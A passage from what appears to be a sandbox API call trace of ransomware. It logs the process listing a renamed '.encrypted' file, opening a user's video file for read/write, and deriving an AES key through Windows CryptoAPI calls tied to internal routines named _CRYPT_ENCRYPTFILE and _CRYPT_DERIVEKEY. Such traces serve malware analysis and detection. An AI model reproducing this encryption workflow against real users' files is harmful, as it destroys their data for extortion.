returned 1 [0029.160] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.160] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.160] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x287d, lpOverlapped=0x0) returned 1 [0029.160] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.160] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x287d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.160] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=10365) returned 1 [0029.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\lRhx1S.encrypted.swf\r\n", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0029.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\lRhx1S.encrypted.swf\r\n", cchWideChar=56, lpMultiByteStr=0xe8f404ba10, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\lRhx1S.encrypted.swf\r\n", lpUsedDefaultChar=0x0) returned 56 [0029.160] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40512c0*, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40512c0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x37, lpOverlapped=0x0) returned 1 [0029.160] CloseHandle (hObject=0x188) returned 1 [0029.161] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.161] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.162] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.162] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.162] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.162] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.162] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.163] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.163] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178420, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0029.163] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0029.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178520, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0029.164] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0029.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\m9Y1DiBTGN1A.flv", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0029.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\m9Y1DiBTGN1A.flv", cchWideChar=50, lpMultiByteStr=0xe8f404ba10, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\m9Y1DiBTGN1A.flv", lpUsedDefaultChar=0x0) returned 50 [0029.164] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\m9Y1DiBTGN1A.flv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\m9y1dibtgn1a.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=50, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 50 [0029.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=50, lpWideCharStr=0xe8f4062330, cchWideChar=50 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\m9Y1DiBTGN1A.flv") returned 50 [0029.164] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.165] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.165] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.165] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.165] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178700, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0029.166] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0029.166] CloseHandle (hObject=0x188) returned 1 [0029.166] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.166] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.166] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.166] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.166] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.166] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.166] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.166] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.166] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.166] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.167] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.167] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.167] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.167] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.167] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.167] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.167] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.167] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.167] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.167] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.167] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.167] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.167] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.167] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.167] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.167] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.167] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.167] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.167] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.167] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.167] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.167] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.167] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.167] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.168] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.168] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.168] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.168] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0029.168] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.168] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.168] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.168] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.168] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.168] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.168] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.168] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.168] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.168] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.168] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.168] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.168] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.168] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.168] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.168] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.168] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.168] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.169] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.169] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.169] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.169] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.169] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.169] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.169] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.169] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.169] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.169] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.169] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.169] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.169] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.169] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.169] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.169] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.169] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.169] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.169] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.169] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.169] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.169] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.169] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.169] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.169] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.169] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.169] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.169] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.169] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418b8d0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.170] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.170] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.170] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.170] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.170] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.170] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0029.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.170] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.170] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.170] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.170] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0029.171] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.172] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.172] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.172] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, 